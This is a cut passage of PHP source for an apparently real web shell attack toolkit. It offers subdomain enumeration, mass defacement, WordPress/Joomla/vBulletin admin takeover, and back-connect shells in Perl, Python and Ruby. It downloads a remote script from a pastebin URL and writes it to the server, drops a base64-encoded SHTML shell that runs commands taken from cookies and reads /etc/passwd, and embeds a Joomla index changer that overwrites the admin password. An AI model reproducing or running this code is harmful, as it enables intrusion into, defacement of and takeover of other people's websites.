ia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
if($_POST){
$url = $_POST["site"];
foreach($subs as $sub){
if(!eregi($url, gethostbyname($sub.".".$url))){
echo \'<font face="Baskerville Old Face" color="red">[+] \'.$sub.".".$url.\' : </font><font color="green">\'.gethostbyname($sub.".".$url).\'</font></br>\';
}else{
echo \'<font face="Baskerville Old Face" color="red">[+] \'.$sub.".".$url.\' : Nothing Found</font></br>\';
}
}
}
}
echo\'</body></html>\';
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'wpidxcngrdesr\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Generate Wordpress Index Changer</span></font></center><br>\';
error_reporting(0);
echo "<form method=\'POST\'><p align=\'center\'> 
<img border=\'0\' src=\'http://blog.numericube.com/wp-content/uploads/2010/06/wordpress-logo-notext-bg.png\'></p>
<center><font color=\'#777777\' size=\'2\' face=\'shell\'>Cwd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</font><input type=\'text\' size=\'40\' name=\'zero\' value=".dirname(__FILE__)." <font color=\'green\' size=\'8\' face=\'Tahoma\'></font></center>
<center><font color=\'#777777\' size=\'2\' face=\'shell\'>Script&nbsp;&nbsp;&nbsp;</font><input type=\'text\' size=\'40\' name=\'shell\' value=\'http://pastebin.com/raw.php?i=6kFhLVkS\' <font color=\'green\' size=\'8\' face=\'Tahoma\'></font></center><br>
<p><center><input type=\'submit\' value=\'&nbsp;&nbsp;Generate Now&nbsp;&nbsp;\' name=\'start\'> <font color=red\' face=\'Tahoma, Geneva, sans-serif\' style=\'font-size: 12pt\'><br></font></center></p><br>";
echo "<p><center><textarea class=\'area\' rows=\'12\' cols=\'60\'>Results Will Appear Here ^_^ 
";
if($_POST[\'start\']) {
$zero = $_POST[\'zero\'];
$file = $_POST[\'shell\'];

$dir = "Wordpress"; 
if(file_exists($dir)) {
echo "[+] Wordpress Folder Already Exist are you drunk :o xD !
";
} else {
@mkdir($dir); {
echo "[+] Wordpress Folder Has Been Created Nygga :3 !
";
} 
}
#Generate Wordpress Script
$fopen = fopen("Wordpress/Wordpress.php",\'w\');
$shell = @file_get_contents($file);
$swrite = fwrite($fopen ,$shell);
if($swrite){
echo "Wordpress Script Has Been Downloaded : $zero/Wordpress/Wordpress.php 
";

} else {
echo "Can\'t Download Script :( do it manually :D 
";
}
fclose($fopen);
}

echo "</textarea></center></p><pre></pre>";
$rt="<br><a href=Wordpress/Wordpress.php TARGET=\'_blank\'><font color=red size=2 face=\'Courier New\'><b>
Link</b></font></a>"; 
echo "<center><br><font color=\'#007700\' size=\'2pt\'>Click on Button Generate Now and Check link given below for Wordpress Script</font><br>$rt</center>";
echo \'<p><center><font color="#007700" size="3pt">Generator Coded by Mauritania Attacker</font></center><br></p>\';
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'shhhshell\'){
echo \'<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>\';

//extract shtml shell
$ROFL = \'PCEtLSNjb25maWcgZXJybXNnPSJbRXJyb3IsIE1heWJlIGNhdXNlIG9mIHRoZSBzZWN1cml0eSBvZiB0aGUgc2VydmVyIDooXSItLT4gIA0KPCEtLSNjb25maWcgc2l6ZWZtdD0iYnl0ZXMiLS0+ICANCg0KPCEtLSNpZiBleHByPSIoXCIkSFRUUF9DT09LSUVcIiA9IFwiXCIpIHx8IChcIiRSRVFVRVNUX01FVEhPRFwiICE9IFwiR0VUXCIpIiAtLT4gIA0KICAgIDwhLS0jc2V0IHZhcj0ic2hsIiB2YWx1ZT0ibHMgLWFsIiAtLT4gIA0KPCEtLSNlbHNlIC0tPiAgDQogICAgPCEtLSNzZXQgdmFyPSJzaGwiIHZhbHVlPSRIVFRQX0NPT0tJRSAtLT4gIA0KPCEtLSNlbmRpZiAtLT4gIA0KDQo8IS0tI2lmIGV4cHI9IihcIiRIVFRQX0NPT0tJRVwiID0gXCJcIikgfHwgKFwiJFJFUVVFU1RfTUVUSE9EXCIgIT0gXCJQT1NUXCIpIiAtLT4gIA0KICAgIDwhLS0jc2V0IHZhcj0iaW5jIiB2YWx1ZT0iLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiIC0tPiAgDQo8IS0tI2Vsc2UgLS0+ICANCiAgICA8IS0tI3NldCB2YXI9ImluYyIgdmFsdWU9JEhUVFBfQ09PS0lFIC0tPiAgDQo8IS0tI2VuZGlmIC0tPiAgDQo8aHRtbD4gDQo8aGVhZD4gDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+IA0KPG1ldGEgY2hhcnNldD0iVVRGLTgiLz4gDQo8dGl0bGU+U2h0bWwgQ2dpIFNoZWxsPC90aXRsZT4gDQo8c3R5bGU+IA0KPCEtLSANCmJvZHkgICAgICAgICB7IGZvbnQtZmFtaWx5OiBzaGVsbDsgZm9udC1zaXplOiA4cHQgfSANCi0tPiANCmJvZHkge2ZvbnQtZmFtaWx5OiBzaGVsbDsgZm9udC1zaXplOiA5cHQ7YmFja2dyb3VuZC1jb2xvcjojMjIyMjIyO2NvbG9yOiMwMDk5MDA7dGV4dC1zaGFkb3c6MHB4IDBweCAxcHggYmxhY2s7fSANCmEge2ZvbnQtc2l6ZToxNXB4O2NvbG9yOiMwMDk5MDA7fSANCi5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9DQppbnB1dFt0eXBlPXN1Ym1pdF17IHBhZGRpbmc6IDNweDsgY29sb3I6ICMwMDc3MDsgIGZvbnQtd2VpZ2h0OiBib2xkOyB0ZXh0LWFsaWduOiBjZW50ZXI7ICB0ZXh0LXNoYWRvdzogMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpOyAgYmFja2dyb3VuZDogI2FlYWVhZTsgIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7ICBib3JkZXI6IDFweCBzb2xpZCAjMjg0NDczOyAgYm9yZGVyLWJvdHRvbS1jb2xvcjogIzIyM2I2NjsgIGJvcmRlci1yYWRpdXM6IDRweDsgIGN1cnNvcjogcG9pbnRlcjsgIGJhY2tncm91bmQtaW1hZ2U6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlYWVhZWEsICNkMGQwZDApOyAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyB9DQppbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsNCiAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4O30NCmlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7DQogICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9DQo8L3N0eWxlPiANCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPiAgDQpmdW5jdGlvbiBkb2l0KCBtb2RlICkgeyAgDQogICAgaWYoIGRvY3VtZW50LmNvb2tpZSAhPSAiIiApIHsgIA0KICAgICAgICB2YXIgY29va2llcyA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCggIjsiICk7ICANCiAgICAgICAgZm9yKCB2YXIgaSA9IDA7IGkgPCBjb29raWVzLmxlbmd0aDsgKytpICkgICANCiAgICAgICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZXNbIGkgXSArICI7ZXhwaXJlcz1UaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAwIEdNVCI7ICANCiAgICB9ICANCiAgICBkb2N1bWVudC5jb29raWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCggbW9kZSApLnZhbHVlOyAgDQogICAgZG9jdW1lbnQubG9jYXRpb24ucmVsb2FkKCk7ICANCn0gIA0KZnVuY3Rpb24gdG9nZ2xlKCBpZCApIHsgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCBpZCApLnN0eWxlLmRpc3BsYXkgPSAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIGlkICkuc3R5bGUuZGlzcGxheSA9PSAibm9uZSIpID8gImJsb2NrIiA6ICJub25lIjsgIA0KfSAgDQo8L3NjcmlwdD4gIA0KPC9oZWFkPiANCjxib2R5PiANCjxkaXYgYWxpZ249ImNlbnRlciI+IA0KICAgIDx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBpZD0idGFibGUxIiBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICMwMDc3MDAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSI1MDIiPiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICMwMDc3MDAiIHZhbGlnbj0idG9wIiByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+IA0KICAgICAgICAgICAgICAgIDxmb250IGZhY2U9InNoZWxsIiBzaXplPSIyIj48YnI+IA0KICAgICAgICAgICAgICAgIDwvZm9udD4gDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IiNlNmU2ZTYiIGZhY2U9InNoZWxsIiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+IA0KICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSIjMDBiYjAwIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgb25jbGljaz0idG9nZ2xlKCdpbmYnKTsiIHN0eWxlPSJjdXJzb3I6aGFuZDsiIGNvbG9yPSIjMDA5OTAwIj5TZXJ2ZXIgRGV0YWlsczwvZm9udD48L3NwYW4+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4gDQogICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+IA0KICAgICAgICAgICAgICAgIDxmb250IG9uY2xpY2s9InRvZ2dsZSgnc2hsJyk7IiBzdHlsZT0iY3Vyc29yOmhhbmQ7IiBmYWNlPSJzaGVsbCIgc2l6ZT0iMiIgY29sb3I9IiMwMDk5MDAiPiANCiAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Db21tYW5kPC9zcGFuPjwvZm9udD48L2I+PC9wPiANCiAgICAgICAgICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj4gDQogICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0ic2hlbGwiIHNpemU9IjIiIGNvbG9yPSIjMDBiYjAwIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgb25jbGljaz0idG9nZ2xlKCdpbmMnKTsiIHN0eWxlPSJjdXJzb3I6aGFuZDsiIGNvbG9yPSIjMDA5OTAwIj5WaWV3IEZpbGVzPC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4gDQogICAgICAgICAgICAgICAgPHA+Jm5ic3A7PHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI0MjIiIHdpZHRoPSI4MiUiIHN0eWxlPSJib3JkZXI6IDFweCBkb3R0ZWQgIzAwNzcwMCIgYWxpZ249ImNlbnRlciI+IA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9JyMwMDk5MDAnIHNpemU9JzInPlNvZndhcmUgOiA8IS0tI2VjaG8gdmFyPSJTRVJWRVJfU09GVFdBUkUiIC0tPjxicj5JUCA6PCEtLSNlY2hvIHZhcj0iUkVNT1RFX0FERFIiIC0tPjwvZm9udD48YnI+IA0KICAgICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwgQmxhY2snIGNvbG9yPScjMDA5OTAwJyBzaXplPScxJz4gDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IA0KPGRpdiBpZD0iaW5mIiBzdHlsZT0iIj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5Db25uZWN0IFNlcnZlcjwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9IlNFUlZFUl9OQU1FIiAtLT48L2I+PGJyPiAgDQo8Yj48Zm9udCBjb2xvcj0iIzAwYmIwMCI+UmVtb3RlIElwPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGI+PCEtLSNlY2hvIHZhcj0iUkVNT1RFX0FERFIiIC0tPjwvYj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5TZXJ2ZXIgU29mdHdhcmU8L2ZvbnQ+PC9iPjombmJzcDsmbmJzcDsmbmJzcDs8Yj48IS0tI2VjaG8gdmFyPSJTRVJWRVJfU09GVFdBUkUiIC0tPjwvYj48YnI+IA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkN1cnJlbnQgRGlyPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGI+PCEtLSNlY2hvIHZhcj0iRE9DVU1FTlRfUk9PVCIgLS0+PC9iPjxicj4gIA0KPGJyPjwvZGl2PiANCjxkaXYgIGJvcmRlcj0iMCIgaWQ9InNobCIgc3R5bGU9IiI8IS0tI2lmIGV4cHI9IlwiJFJFUVVFU1RfTUVUSE9EXCIgIT0gXCJHRVRcIiIgLS0+ZGlzcGxheTpibG9jazs8IS0tI2VuZGlmIC0tPj4gIA0KPGJyPjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5FbnRlciBjb21tYW5kPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGZvcm0gbWV0aG9kPWdldCBvbnN1Ym1pdD1kb2l0KCdjb21tYW5kJyk7PjxpbnB1dCB0eXBlPXRleHQgc2l6ZT04MCB2YWx1ZT1kaXIgaWQ9Y29tbWFuZD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Q29tbWFuZD48L2Zvcm0+PGJyPiAgDQo8Y2VudGVyPjxiPjxmb250IHNpemU9KzE+UmVzdWx0czwvZm9udD48L2I+PC9jZW50ZXI+ICANCjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkV4ZWN1dGUgY29tbWFuZDwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9c2hsIC0tPjwvYj48YnI+ICANCjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgY29scz0iMTIxIiByb3dzPSIxNSI+ICANCjwhLS0jZXhlYyBjbWQ9JHNobCAtLT4gIA0KPC90ZXh0YXJlYT4gIA0KPC9kaXY+ICANCjxkaXYgaWQ9ImluYyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PCEtLSNpZiBleHByPSJcIiRSRVFVRVNUX01FVEhPRFwiICE9IFwiUE9TVFwiIiAtLT48IS0tI2VuZGlmIC0tPjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkVudGVyIFRoZSBGaWxlIE5hbWUgPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGZvcm0gbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ZG9pdCgndmZpbGUnKTs+PGlucHV0IHR5cGU9dGV4dCBzaXplPTgwIGlkPXZmaWxlPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1SdW4+PC9mb3JtPjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPk9wZW4gRmlsZTwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9aW5jIC0tPjwvYj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5TaXplIDwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZnNpemUgdmlydHVhbD0kaW5jIC0tPiZuYnNwO2J5dGVzPC9iPjxicj4gIA0KPHRleHRhcmVhIGNsYXNzPSJhcmVhIiBjb2xzPSIxMjEiIHJvd3M9IjE1Ij4gIA0KPCEtLSNpbmNsdWRlIHZpcnR1YWw9JGluYyAtLT4gIA0KPC90ZXh0YXJlYT4gIA0KPGJyPjwvZGl2PiAgDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8L2ZvbnQ+PC9zcGFuPjwvcD4gDQoNCiAgICAgICAgICAgICANCiAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICA8L3RyPiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBzdHlsZT0iYm9yZGVyOiAycHggZG90dGVkICMwMDc3MDAiPiANCiAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPjxmb250IGNvbG9yPSJncmVlbiIgc2l6ZT0iMiIgZmFjZT0iaW1wYWN0Ij48YnI+IA0KICAgICAgICAgICAgPGJyPjxhIGhyZWY9IkFub25HaG9zdCI+QW5vbkdob3N0PC9hPiANCiAgICAgICAgICAgICAgICAgIDxicj4gDQogICAgICAgICAgICA8L2ZvbnQ+PC90ZD4gDQogICAgICAgIDwvdHI+IA0KICAgIDwvdGFibGU+IA0KPC9kaXY+IA0KPC9ib2R5PiANCjwvaHRtbD4gIA==\';
$file = fopen("shell.shtml" ,"w+");
$write = fwrite ($file ,base64_decode($ROFL));
fclose($file);

echo "<br><center><span style=\'font-size:30px; font-family:Fredericka the Great; color:#009900\'>Shtml Shell Command</font></span><center><br><iframe src=shell.shtml width=75% height=60% frameborder=0></iframe></div></center>"; 
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'joommlallainxc\'){
echo \'<center><b class="conte">
<a href="?action=mass">Mass Deface Dirs</a> -
<a href="?action=joomla">Mass Change Admin Joomla</a> -
<a href="?action=vb">Mass Change Admin vBulletin</a> -
<a href="?action=wp">Mass Change Admin Mass WordPress</a> -
<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
<a href="?action=joommlallainxc">Joomla Index Changer</a> -
<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
</b>\';

//extract joomla index changer
$coddd = \'PGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9T3JiaXRyb246NzAwJyByZWw9J3N0eWxlc2hlZXQnIHR5cGU9J3RleHQvY3NzJz4NCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmJhY2tncm91bmQ6DQp1cmwoImh0dHA6Ly9pLmltZ3VyLmNvbS9oZzIxeFo5LnBuZyIpIHJlcGVhdCAsIA0KdXJsKCJodHRwOi8vd3d3LmRlc2t0b3Bhcy5jb20vZmlsZXMvMjAxMi8xMS8xOC9ibHVlLWFuZC1ibGFjay1hYnN0cmFjdC0xNjAweDkwMC5qcGciKSBuby1yZXBlYXQgY2VudGVyIHRvcCx0b3AgbGVmdCx0b3AgcmlnaHQ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOw0KPC9zdHlsZT4NCjxmb250IGZhY2U9J09yYml0cm9uJz4NCjw/cGhwDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojICAgICAgQ2hhbmdlIEpvb21sYSBJbmRleCAgICAgICAgICAgICAgICAjDQojICAgICAgQ29kZWQgQnkgUkFCM09VTiAgICAgICAgICAgICAgICAgICAjDQojICAgICAgICAgIHYuYi00QGhvdG1haWwuY29tICAgICAgICAgICAgICAjDQojCSAgaHR0cDovL3d3dy5yYWIzb3VuLm5ldC8gICAgICAgICAjDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCmlmICgkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10pDQp7DQoNCiRoPSI8PyBlY2hvKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCciLnVybGVuY29kZShiYXNlNjRfZW5jb2RlKHN0cl9yZXBsYWNlKCInIiwiJyIsKCRfUE9TVFsnY29kZSddKSkpKS4iJykpKTsgZXhpdDsgPz4iOw0KDQogJGRicHJlZml4PSgkX1BPU1RbJ2RiX3ByZWZpeCddKTsNCiAkdXNlcm5hbWU9KCRfUE9TVFsnZGJfdXNlcm5hbWUnXSk7DQogJHBhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOw0KICRkYm5hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAgJHNpdGVfdXJsPSgkX1BPU1RbJ3NpdGVfdXJsJ10pOw0KDQokY289cmFuZG9tdCgpOw0KDQoNCg0KICAgICAgJGxpbms9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0IiwkdXNlcm5hbWUsJHBhc3N3b3JkKSA7DQoNCiAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQoNCiR0cnlDaGFuaW5nSW5mbyA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgIi4kZGJwcmVmaXguInVzZXJzIFNFVCB1c2VybmFtZSA9J3Jvb3QnICwgcGFzc3dvcmQgPSAnNjNhOWYwZWE3YmI5ODA1MDc5NmI2NDllODU0ODE4NDUnIik7DQplY2hvKCI8YnI+WytdIENoYW5naW5nIHJvb3QgcGFzc3dvcmQgdG8gcm9vdCIpOwkNCgkJIA0KCQkgJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgIik7DQoJCSANCmlmICggJHJlcSApDQp7DQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgICAgICAgVjEuNiAgICAgICAgICMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJDQokcmVxID1teXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJGRicHJlZml4LiJ0ZW1wbGF0ZV9zdHlsZXNgIFdIRVJFIGNsaWVudF9pZD0nMCcgYW5kIGhvbWU9JzEnIik7DQoJICRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7DQokdGVtcGxhdGVfbmFtZT0kZGF0YVsidGVtcGxhdGUiXTsNCg0KJHJlcSA9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRkYnByZWZpeC4iZXh0ZW5zaW9uc2AgV0hFUkUgbmFtZT0nIi4kdGVtcGxhdGVfbmFtZS4iJyIpOw0KCSAkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX2lkPSRkYXRhWyJleHRlbnNpb25faWQiXTsNCg0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwIjsNCg0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRf